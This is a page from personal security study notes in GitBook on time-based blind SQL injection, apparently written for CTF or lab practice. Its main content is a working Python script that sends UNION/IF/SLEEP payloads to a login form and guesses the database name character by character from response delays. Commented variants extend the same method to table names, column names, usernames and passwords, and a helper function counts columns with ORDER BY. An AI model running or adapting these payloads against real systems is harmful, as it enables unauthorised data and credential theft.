📓
Notes
Ctrlk
  • whoami
  • Aviso Importante
  • My Projects
  • Conceitos
    • Cabeçalhos HTTP
    • HTTP Status Code
    • Entradas DNS
    • Métodos HTTP
  • Others
    • Useful
    • Good AI tools
    • Google Dorking
    • Phishing notes
    • Configs
  • BLUE TEAM
    • Ferramentas
    • 5W2H
    • Shells
    • Log analysis
  • CTF
    • Tips and tricks
    • Walkthroughs
    • Privesc
    • Basic
    • Post Exploitation
    • Crypto
    • Linux notes
    • Windows notes
  • Methodologys
    • STRIDE
  • OSINT
    • Ferramentas de OSINT
  • Malware analysis
    • useful
  • Web Hacking
    • Recon
    • Enumeration
    • XSS
    • Port Scan
    • SQL Injection
      • Blind SQL Injection
      • SQL Injection Error Based
      • SQLmap automação
    • LFI
    • SSRF
    • IDOR
    • Git Exposed
    • Command Injection
    • Shell TTY
    • CSRF
    • Open Redirect
    • Local File Inclusion
    • NoSQL Injection
    • IDOR
    • Unrestricted file upload
    • Webshells
    • API Rest
    • HTTP Request Smuggling
    • API GraphQL
    • Cookie tampering
    • Type Juggling
    • CRLF
    • SSTI Server Side Template Injection
    • Expression Language Injection - Spring
    • XML External Entity Attack - XXE
    • Dependency Confunsion
  • Certificações
    • CompTIA Security+
    • EXIN ISFS
    • CompTIA CySa+
  • Bitcoin
    • História da moeda de troca
    • O colapso do mercado financeiro
    • Como o Bitcoin atua como reserva de valor
    • Bitcoin
    • Como funciona a blockchain
    • Como armazenar Bitcoin em carteiras frias
    • Satoshi
    • O Bitcoin é uma esponja do M2
    • Projeção
    • FOMO
    • A dívida americana nunca será paga
    • Bitcoin: The Trust Machine
    • Bitcoin segue os cinco pilares da segurança da informação
    • Dados para refletir
  • Blockchain Security
    • Fundamentos criptográficos
    • Criptografia assimétrica
    • Ataques comuns
    • Smart Contracts
  • AI Security
    • AI Security
    • Do zero a vaga de Nubank AI Security Engineer
    • Ataques contra modelos de IA
    • modelos de LLM utilizados por APTs ou cibercriminosos
    • Uso de AI para geração de Phishing
    • Ataques por Agentes de AI
  • Bug Bounty
    • Scripts
  • Red Team
    • Sobre
  • Maldev
    • Stealer
  • Mobile Hacking
    • Mobile Hacking
    • IOS
    • Android
  • Threat Hunting
    • MITRE
  • Treinamento de AI
    • Agentic AI em SOC N1
    • Useful for AI
  • Cloud Security
    • AWS
  • Inteligência Artificial aplicada à Segurança
    • Inteligência Artificial aplicada à Segurança
  • Social
    • Social
  • Bitcoin: A Peer-to-Peer Electronic Cash System
    • Bitcoin: A Peer-to-Peer Electronic Cash System
Powered by GitBook
On this page
  1. Web Hacking
  2. SQL Injection

Blind SQL Injection

LogoBlind SQL Injection | OWASP Foundationowasp.org

PreviousSQL InjectionNextSQL Injection Error Based

Last updated 7 months ago

import requests
import time
import string

#query = "' union select 1,2,if(substring((select database()),1,"+str(len(guess_db))+")='"+guess_db+"',sleep(3),NULL) -- -" --> descobrir o nome do banco de dados
#query = "' union select 1,2,if(substring((select table_name from information_schema.tables where table_schema = 'cc' limit 0,1),1,"+str(len(guess_db))+")='"+guess_db+"',sleep(3),NULL) -- -" --> descobrir os nomes das tabelas
#query = "' union select 1,2,if(substring((select column_name from information_schema.columns where table_name = 'users' and table_schema='cc' limit 0,1),1,"+str(len(guess_db))+")='"+guess_db+"',sleep(3),NULL) -- -" --> descobrir os nomes das colunas
#query = "' union select 1,2,if(substring((select login from users limit 0,1),1,"+str(len(guess_db))+")='"+guess_db+"',sleep(3),NULL) -- -" --> descobrir o username
#query = "' union select 1,2,if(substring((select password from users limit 0,1),1,"+str(len(guess_db))+")='"+guess_db+"',sleep(3),NULL) -- -" descobrir a senha

def req(query):
    url = "http://10.10.0.27" #CHANGE THIS
    data = {"username":query, "password":"aaas"}
    r = requests.post(url,data=data)
    return r.text


def fuzz():
    printables = string.printable
    nome_db = ""
    while True:
        for char in printables:
            guess_db = nome_db + char
            query = "' union select 1,2,if(substring((select database()),1,"+str(len(guess_db))+")='"+guess_db+"',sleep(3),NULL) -- -" 
            print(guess_db)
            antes = time.time()
            req(query)
            depois = time.time()
            total = depois - antes
            if int(total) >= 3:
                nome_db = guess_db
                break


def orderby(): 
    numeros = [1,2,3,4,5,6,7,8,9]
    for num in numeros:
        query = "' or 1=1 order by "+ str(num) + ' -- -'
        print(num)
        if not "Username or password is invalid!" in req(query):
            print(f'Union correct: {num}')

fuzz()